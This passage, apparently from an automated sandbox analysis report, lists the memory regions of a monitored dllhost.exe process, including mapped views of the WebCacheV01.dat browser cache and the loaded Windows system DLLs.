"c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2409 start_va = 0x1cd55be0000 end_va = 0x1cd55beffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2410 start_va = 0x1cd55bf0000 end_va = 0x1cd55bf7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd55bf0000" filename = "" Region: id = 2411 start_va = 0x1cd55c00000 end_va = 0x1cd55c0ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2412 start_va = 0x1cd55c10000 end_va = 0x1cd55c1ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2413 start_va = 0x1cd55c20000 end_va = 0x1cd55c2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd55c20000" filename = "" Region: id = 2414 start_va = 0x1cd55c30000 end_va = 0x1cd55c3ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2415 start_va = 0x1cd55c40000 end_va = 0x1cd55c4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2416 start_va = 0x1cd55c50000 end_va = 0x1cd55c5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2417 start_va = 0x1cd55c60000 end_va = 0x1cd55c6ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2418 start_va = 0x1cd55c70000 end_va = 0x1cd55c7ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2419 start_va = 0x1cd55c80000 end_va = 0x1cd55c8ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2420 start_va = 0x1cd55c90000 end_va = 0x1cd55c9ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2421 start_va = 0x1cd55ca0000 end_va = 0x1cd55caffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2422 start_va = 0x1cd55cb0000 end_va = 0x1cd55cbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd55cb0000" filename = "" Region: id = 2423 start_va = 0x1cd55cc0000 end_va = 0x1cd55ccffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2424 start_va = 0x1cd55cd0000 end_va = 0x1cd55cdffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2425 start_va = 0x1cd55ce0000 end_va = 0x1cd55ceffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2426 start_va = 0x1cd55cf0000 end_va = 0x1cd55cfffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2427 start_va = 0x1cd55d00000 end_va = 0x1cd55d0ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2428 start_va = 0x1cd55d10000 end_va = 0x1cd55d1ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2429 start_va = 0x1cd55d20000 end_va = 0x1cd55d2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2430 start_va = 0x1cd55d30000 end_va = 0x1cd55d3ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2431 start_va = 0x1cd55d40000 end_va = 0x1cd55d4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2432 start_va = 0x1cd55d50000 end_va = 0x1cd55d5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2433 start_va = 0x1cd55d60000 end_va = 0x1cd55d6ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2434 start_va = 0x1cd55d70000 end_va = 0x1cd55d7ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2435 start_va = 0x1cd55d80000 end_va = 0x1cd55d8ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2436 start_va = 0x1cd55d90000 end_va = 0x1cd55d9ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2437 start_va = 0x1cd55da0000 end_va = 0x1cd55daffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2438 start_va = 0x1cd55db0000 end_va = 0x1cd55dbffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2439 start_va = 0x1cd55dc0000 end_va = 0x1cd55dcffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2440 start_va = 0x1cd55dd0000 end_va = 0x1cd55ddffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2441 start_va = 0x1cd55de0000 end_va = 0x1cd55deffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001cd55de0000" filename = "" Region: id = 2442 start_va = 0x1cd55df0000 end_va = 0x1cd55dfffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2443 start_va = 0x1cd55e00000 end_va = 0x1cd55e0ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2444 start_va = 0x1cd55e10000 end_va = 0x1cd55e1ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2445 start_va = 0x1cd55e20000 end_va = 0x1cd55e2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2446 start_va = 0x1cd55e30000 end_va = 0x1cd55e3ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2447 start_va = 0x1cd55e40000 end_va = 0x1cd55e4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2448 start_va = 0x1cd55e50000 end_va = 0x1cd55e5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2449 start_va = 0x1cd55e60000 end_va = 0x1cd55e6ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2450 start_va = 0x1cd55e70000 end_va = 0x1cd55e7ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2451 start_va = 0x1cd55e80000 end_va = 0x1cd55e8ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2452 start_va = 0x1cd55e90000 end_va = 0x1cd55e9ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2453 start_va = 0x1cd55ea0000 end_va = 0x1cd55eaffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2454 start_va = 0x1cd55eb0000 end_va = 0x1cd55ebffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2455 start_va = 0x1cd55ec0000 end_va = 0x1cd55ecffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2456 start_va = 0x1cd55ee0000 end_va = 0x1cd55eeffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2457 start_va = 0x1cd55ef0000 end_va = 0x1cd55ef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd55ef0000" filename = "" Region: id = 2458 start_va = 0x1cd55f00000 end_va = 0x1cd55f0ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2459 start_va = 0x1cd55f10000 end_va = 0x1cd55f1ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2460 start_va = 0x7df5ffba0000 end_va = 0x7ff5ffb9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffba0000" filename = "" Region: id = 2461 start_va = 0x7ff793e80000 end_va = 0x7ff793f7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff793e80000" filename = "" Region: id = 2462 start_va = 0x7ff793f80000 end_va = 0x7ff793fa2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff793f80000" filename = "" Region: id = 2463 start_va = 0x7ff794540000 end_va = 0x7ff794546fff monitored = 0 entry_point = 0x7ff794541570 region_type = mapped_file name = "dllhost.exe" filename = "\\Windows\\System32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe") Region: id = 2464 start_va = 0x7fffdcd30000 end_va = 0x7fffdcd44fff monitored = 0 entry_point = 0x7fffdcd35740 region_type = mapped_file name = "profext.dll" filename = "\\Windows\\System32\\profext.dll" (normalized: "c:\\windows\\system32\\profext.dll") Region: id = 2465 start_va = 0x7fffdcd60000 end_va = 0x7fffdcfedfff monitored = 0 entry_point = 0x7fffdce30f00 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2466 start_va = 0x7fffe0b20000 end_va = 0x7fffe0e18fff monitored = 0 entry_point = 0x7fffe0be7280 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 2467 start_va = 0x7fffe6fe0000 end_va = 0x7fffe7361fff monitored = 0 entry_point = 0x7fffe7031220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2468 start_va = 0x7fffeb740000 end_va = 0x7fffeb7d5fff monitored = 0 entry_point = 0x7fffeb765570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2469 start_va = 0x7fffec2b0000 end_va = 0x7fffec2e0fff monitored = 0 entry_point = 0x7fffec2b7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2470 start_va = 0x7fffec520000 end_va = 0x7fffec53efff monitored = 0 entry_point = 0x7fffec525d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2471 start_va = 0x7fffec860000 end_va = 0x7fffec86afff monitored = 0 entry_point = 0x7fffec8619a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2472 start_va = 0x7fffecc50000 end_va = 0x7fffecc78fff monitored = 0 entry_point = 0x7fffecc64530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2473 start_va = 0x7fffecdc0000 end_va = 0x7fffecdd3fff monitored = 0 entry_point = 0x7fffecdc52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2474 start_va = 0x7fffecde0000 end_va = 0x7fffece2afff monitored = 0 entry_point = 0x7fffecde35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2475 start_va = 0x7fffece40000 end_va = 0x7fffece4efff monitored = 0 entry_point = 0x7fffece43210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2476 start_va = 0x7fffece50000 end_va = 0x7fffed037fff monitored = 0 entry_point = 0x7fffece7ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2477 start_va = 0x7fffed0f0000 end_va = 0x7fffed733fff monitored = 0 entry_point = 0x7fffed2b64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 2478 start_va = 0x7fffed740000 end_va = 0x7fffed7a9fff monitored = 0 entry_point = 0x7fffed776d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2479 start_va = 0x7fffed810000 end_va = 0x7fffed8c4fff monitored = 0 entry_point = 0x7fffed8522e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 2480 start_va = 0x7fffed8f0000 end_va = 0x7fffed932fff monitored = 0 entry_point = 0x7fffed904b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2481 start_va = 0x7fffedba0000 end_va = 0x7fffedbfafff monitored = 0 entry_point = 0x7fffedbb38b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2482 start_va = 0x7fffedd80000 end_va = 0x7fffede26fff monitored = 0 entry_point = 0x7fffedd958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2483 start_va = 0x7fffede30000 end_va = 0x7fffeded6fff monitored = 0 entry_point = 0x7fffede3b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2484 start_va = 0x7fffedee0000 end_va = 0x7fffedf31fff monitored = 0 entry_point = 0x7fffedeef530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2485 start_va = 0x7fffedf50000 end_va = 0x7fffedf8afff monitored = 0 entry_point = 0x7fffedf512f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2486 start_va = 0x7fffee060000 end_va = 0x7fffef5befff monitored = 0 entry_point = 0x7fffee1c11f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2487 start_va = 0x7fffef9f0000 end_va = 0x7fffefc6cfff monitored = 0 entry_point = 0x7fffefac4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2488 start_va = 0x7fffefd90000 end_va = 0x7fffefeabfff monitored = 0 entry_point = 0x7fffefdd02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2489 start_va = 0x7fffefeb0000 end_va = 0x7fffeff5cfff monitored = 0 entry_point = 0x7fffefec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2490 start_va = 0x7fffeff60000 end_va = 0x7ffff00b5fff monitored = 0 entry_point = 0x7fffeff6a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2491 start_va = 0x7ffff00c0000 end_va = 0x7ffff0180fff monitored = 0 entry_point = 0x7ffff00e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2492 start_va = 0x7ffff0340000 end_va = 0x7ffff04c5fff monitored = 0 entry_point = 0x7ffff038ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2493 start_va = 0x7ffff0700000 end_va = 0x7ffff079cfff monitored = 0 entry_point = 0x7ffff07078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2494 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2693 start_va = 0x1cd55ed0000 end_va = 0x1cd55ed7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd55ed0000" filename = "" Region: id = 2749 start_va = 0x1cd55f20000 end_va = 0x1cd55f2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 2750 start_va = 0x1cd55ed0000 end_va = 0x1cd55ed0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd55ed0000" filename = "" Region: id = 2793 start_va = 0x1cd55ed0000 end_va = 0x1cd55ed0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd55ed0000" filename = "" Region: id = 2794 start_va = 0x1cd55f30000 end_va = 0x1cd55f37fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd55f30000" filename = "" Region: id = 2797 start_va = 0x1cd55ed0000 end_va = 0x1cd55ed7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001cd55ed0000" filename = "" Region: id = 6004 start_va = 0x1cd55c10000 end_va = 0x1cd55c1ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6015 start_va = 0x1cd55c30000 end_va = 0x1cd55c30fff monitored = 1 entry_point = 0x0 